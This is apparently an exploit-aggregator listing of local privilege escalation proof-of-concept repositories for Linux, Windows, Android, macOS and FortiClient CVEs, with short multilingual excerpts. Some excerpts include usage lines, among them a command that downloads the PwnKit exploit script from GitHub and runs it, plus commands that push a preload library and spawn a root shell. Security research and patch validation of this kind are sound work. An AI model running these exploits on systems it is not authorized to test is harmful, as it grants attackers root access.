CVE-2022-2639-PipeVersion

CVE-2022-2639 usando la primitiva pipe CVE-2022-2639: Escalada local de privilegios en openvswitch del kernel de Linux. introducido en: e64457191a259537bbbfaebeba9a8043786af96f v3.13 corregido en: cefa91b2332d7009bc0be5d951d6cbbf349f90f8 v5.18 Usando pipe-primitive para explotar CVE-2022-2639, no...

CVE-2025-48595-Android-Framework-Integer-Overflow-

CVE-2025-48595 - Android Framework Integer Overflow Vulnerability Descripción CVE-2025-48595 es una vulnerabilidad de desbordamiento de entero integer overflow en múltiples ubicaciones del Framework de Android. Esta falla permite la ejecución de código que conduce a una escalada local de...

FortiLPE

Description Local privilege escalation PoC exploit for CVE-2025-62676 / EUVD-2025-206993 that targets FortiClient VPN running on Windows. Executes a payload in the context of SYSTEM from a normal user context via an arbitrary XML file write. The PoC has been tested against FortiClient version 7.4...

CVE-2025-60710

CVE-2025-60710 这是 \Microsoft\Windows\WindowsAI\Recall\PolicyConfiguration 计划任务中本地权限提升漏洞的概念验证（PoC）。 当该计划任务启动时，taskhostw.exe 进程会尝试打开 C:\Users%username%\AppData\Local\CoreAIPlatform.00\UKP 目录，并使用以下过滤器搜索子目录：????????-????-????-????-????????????。如果找到该目录，将直接删除，而不会检查符号链接。 低权限用户默认可以在其自己的 %LOCALAPPDATA%...

OVSwrap

OVSwrap CVE-2026-64531 Análisis !WARNING El PoC se proporciona únicamente para ayudar a defensores, mantenedores y equipos de seguridad autorizados a validar parches, mitigaciones, detecciones y exposición en sistemas que poseen o para los que están explícitamente autorizados a probar. Usted es e...

Exploiting-PwnKit-CVE-2021-4034-

PwnKit 针对CVE-2021-4034的自包含利用程序 - Pkexec本地权限提升 用法 在基于Ubuntu、Debian、Fedora和CentOS的易受攻击Linux发行版上应可开箱即用。 root@kitploit: sh -c "$curl -fsSL https://raw.githubusercontent.com/ly4k/PwnKit/main/PwnKit.sh" 手动 root@kitploit: curl -fsSL https://raw.githubusercontent.com/ly4k/PwnKit/main/PwnKit -o PwnKit chm...

CVE-2026-43499-pmg110-root

pmg110-root CVE-2026-43499 use-after-free de rtmutexwaiter en futex PI, escalada de privilegios local, portada al OPPO PMG110 / K15 Pro+ — MediaTek MT6991, ColorOS 16. Un solo archivo enviado, ejecutado mediante LDPRELOAD: root@kitploit: adb push out/preload-pmg110-16.0.9.400.so...

DIRTY-FRAG-Detection-with-Wazuh-4.14.4

DIRTY FRAG Detection with Wazuh 4.14.4 - CVE-2026-43284 / CVE-2026-43500 Detection engineering for the Dirty Frag kernel LPE - Ubuntu / RHEL / Debian / Amazon Linux What is Dirty Frag? CVE-2026-43284 / CVE-2026-43500 is a Linux kernel Local Privilege Escalation LPE that chains two independent...

CVE-2025-21333

CVE-2025-21333 Hyper-V NT Kernel Integration VSP（vkrnlintvsp.sys）Paged Pool 堆溢出 → 本地提权（LPE）。 本目录为 lab 用 PoC 源码（基于 MrAle98/CVE-2025-21333-POC，含本机补丁）。 1. 漏洞摘要 项| 内容 ---|--- CVE| CVE-2025-21333 类型| Heap-based Buffer Overflow 影响| 本地提权（EoP）；曾标记野外利用 组件| vkrnlintvsp.sys 漏洞函数|...

hacking-team-windows-kernel-lpe

This an exploit for CVE-2015-2426 MS-078, a Windows kernel local privilege escalation 0day from the Hacking Team archive email here. It was developed by Eugene Ching / Qavar security. Original contents below: Summary. Windows kernel memory corruption exploit leading to privilege escalation. Teste...

CVE-2026-43284---DirtyFrag-Analysis-THM-

TryHackMe — CVE-2026-43284: Dirty Frag Sala: CVE-2026-43284: Dirty Frag Categoría: Escalada de privilegios en Linux Autor: Mi página Resumen Dirty Frag es una sala encadenada de escalada de privilegios local LPE en Linux construida en torno a CVE-2026-43284. El objetivo es pasar de una shell sin...

CVE-2023-4911

glibc Heap Buffer Overflow Vulnerability CVE-2023-4911 Item| Description ---|--- CVE ID| CVE-2023-4911 Attack Type| Heap Buffer Overflow → Local Privilege Escalation CVSS 3.1| 7.8 High Disclosure Date| 2023-10-03 Vulnerability Point| glibc dynamic loader ld.so GLIBCTUNABLES parser Affected...

CVE-2021-4034-pwnkit

CVE-2021-4034, PwnKit Proof of concept for PwnKit, a local privilege escalation in polkit's pkexec. On a default install any unprivileged local user can become root. About the bug Vulnerable versions of pkexec mishandle the process argument count. That lets controlled environment variables get...

CVE-2025-27591-PoC

CVE-2025-27591-PoC CVE-2025-27591 PoC — Below 本地权限提升 此仓库包含一个概念验证（PoC），演示了 Linux 系统可观测性工具 Below 中标识为 CVE-2025-27591 的本地权限提升漏洞。 为 https://app.hackthebox.com/machines/Outbound?sortby=createdat&sorttype=desc 的 Hack The Box HTB 制作 用法 chmod +x exp.sh /.exp su tcg 当提示时输入密码：NewPassword123!...

CVE-2026-43494-PinTheft-PoC

SLEY — PinTheft PoC CVE-2026-43494 Proof of concept — uid=1000raken → uid=0root after ./sley on WSL2 6.6.87.2-microsoft-standard-WSL2 Single-file proof-of-concept for CVE-2026-43494 PinTheft: a Linux kernel local privilege escalation that chains an RDS zerocopy reference-count bug with iouring...

HVCIPwned

CVE-2024-35250 Escalación de privilegios local mediante desreferencia de puntero no confiable en el controlador Windows Kernel Streaming ks.sys. Exploit solo de datos: omite la integridad de código protegida por hipervisor HVCI. Resumen Campo| Detalle ---|--- CVE| CVE-2024-35250 Componente| ks.sy...

CVE-2022-31262

CVE-2022-31262 Exploit LPE para GOG Galaxy 2.X CVE-2022-31262 Versiones probadas 2.0.46 - 2.0.51 la más reciente al 11.08.2022, las versiones anteriores también pueden ser vulnerables Entrada de blog sobre el hallazgo: https://secure77.de/gog-galaxy-cve-2022-31262/ LPE encontrado mediante:...

NimbusPWN-CVE-2022-29799-29800

NimbusPwn — networkd-dispatcher !NOTE 其他发行版：dnf install gcc dbus-devel pkgconf（Fedora/RHEL）或 pacman -S gcc dbus pkgconf（Arch）。编译命令相同。 ⚙️ 使用方法 以非特权用户在受影响的宿主机上运行。 root@kitploit: ./nimbuspwn -c -s SHELL -c, --check 非破坏性漏洞检查，不进行利用 -s, --shell SHELL 要 SUID 复制并以 root 身份生成的 shell（默认 /bin/sh） -h, --help...

CVE-2021-34486

CVE-2021-34486 Windows Etw LPE solo probado en windows 20H2 x64 ed2k://|file|cnwindows10businesseditionsversion20h2updatedmarch2021x64dvdca61aaaa.iso|6074574848|B6741C4E4B09337471B02DC95E953992|/ gracias @yongchuank https://www.pixiepointsecurity.com/blog/advisory-cve-2021-34486.html...

physmem

physmem physmem 是一个物理内存检查工具和本地权限提升工具，适用于 macOS 10.12.1 及更早版本。它利用 CVE-2016-1825 或 CVE-2016-7617 中的一个，具体取决于部署目标。这两个漏洞几乎完全相同，并且可以利用完全相同的技术进行利用。它们分别在 OS X El Capitan 10.11.5 和 macOS Sierra 10.12.2 中被修复。 由于这些是逻辑错误，利用非常简单可靠。在使用正确方法利用这些漏洞运行程序的数万次中，我从未遇到内核恐慌。 CVE-2016-1825 CVE-2016-1825 是 IOHIDevice...